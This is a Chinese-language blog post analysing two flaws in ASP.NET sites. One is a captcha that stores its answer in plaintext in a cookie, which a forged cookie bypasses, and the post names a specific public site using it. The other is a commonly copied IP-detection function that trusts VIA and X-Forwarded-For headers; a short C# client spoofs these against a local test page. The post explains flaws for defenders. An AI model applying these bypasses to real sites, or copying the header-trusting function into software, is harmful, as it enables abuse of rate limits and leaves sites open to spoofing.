“ASP.NET網站限制訪問頻率”的作者遇到了兩大問題。一是驗證碼被破解,二是惡意使用者通過使用代理變換IP來擺脫作者的限制。
先說說驗證碼破解
提起來破解驗證碼,小菜們肯定都直搖頭,覺得那是圖形學和演算法高手們研究的事情,小菜們只能心有餘而力不足。
然而博主使用的驗證碼其實很容易破掉。開啟博主的網站http://freesms.cloudapp.net/Default.aspx,在圖片驗證碼上點擊右鍵然後選擇“屬性”,可以看到驗證碼的地址“http://freesms.cloudapp.net/VerifyCode.aspx?”。很奇怪吧,咋地是個aspx頁面那!別著急,開啟一個瀏覽器按shift+F2調出httpwatch(很有用的第三方IE外掛程式,請自行擷取安裝。),點急record開啟監控。下面把剛才擷取的驗證碼地址粘貼到地址欄裡並按斷行符號訪問他。下面是httpwatch抓到的部分返回結果:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/Jpeg; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: 1945.47704561149=IDNH6; path=/
X-Powered-By: ASP.NET
Date: Sat, 19 Sep 2009 14:28:58 GMT
Content-Length: 8697
請注意這一行“Set-Cookie: 1945.47704561149=IDNH6; path=/”再看看ie裡的顯示
如
諸位看官應該明白怎麼回事了吧。VerifyCode.aspx的任務很簡單,隨意產生一組字母如“IDNH6”然後把它變成映像輸出到客戶的,並把這組字母以明文的形式儲存到cookie裡,以便使用者提交請求時從cookie中讀取並與使用者提交的結果進行比較。
要想破解只要在提交post請求時在http頭裡偽造一個假的cookie值即可。因為校正程式只要確認使用者填寫的驗證碼和cookie裡的那個(可以偽造)相同就允許存取。
再談談第二個問題“惡意使用者通過使用代理變換IP來擺脫作者的限制”。
所謂使用代理來變換IP對大部分asp.net網站其實不需要掛代理就能實現IP的欺騙。
先看一段網上廣為流傳的擷取使用者真實IP的實現代碼
#region 擷取使用者真實IP地址
/// <summary>
/// 擷取使用者真實IP地址
/// </summary>
/// <returns>返回使用者真實IP</returns>
public static string GetUserRealrIp()
{
string user_IP = "";
if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_VIA"] != null)
{
user_IP = System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();
}
else
{
user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"].ToString();
}
return user_IP;
}
#endregion
下面示範一下如何偽造一個虛假的訪問IP
不多介紹,直接上代碼
製造虛假IP的客戶的:
Code
static void Main(string[] args)
{
System.Net.WebClient wc = new System.Net.WebClient();
wc.Headers.Add("VIA", "8.8.8.8");
wc.Headers.Add("X_FORWARDED_FOR", "9.9.9.9");
Console.WriteLine(wc.DownloadString("http://127.0.0.1/getip.aspx"));
Console.ReadLine();
}
getip.aspx
Code
protected void Page_Load(object sender, EventArgs e)
{
Response.Write("your ip address is : "+GetUserRealrIp());
Response.End();
}
#region 擷取使用者真實IP地址
/// <summary>
/// 擷取使用者真實IP地址
/// </summary>
/// <returns>返回使用者真實IP</returns>
public static string GetUserRealrIp()
{
string user_IP = "";
if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_VIA"] != null)
{
user_IP = System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();
}
else
{
user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"].ToString();
}
return user_IP;
}
#endregion
下面是運行結果:
如何避免這種地址擷取機制的缺陷,還是請大家各抒己見吧。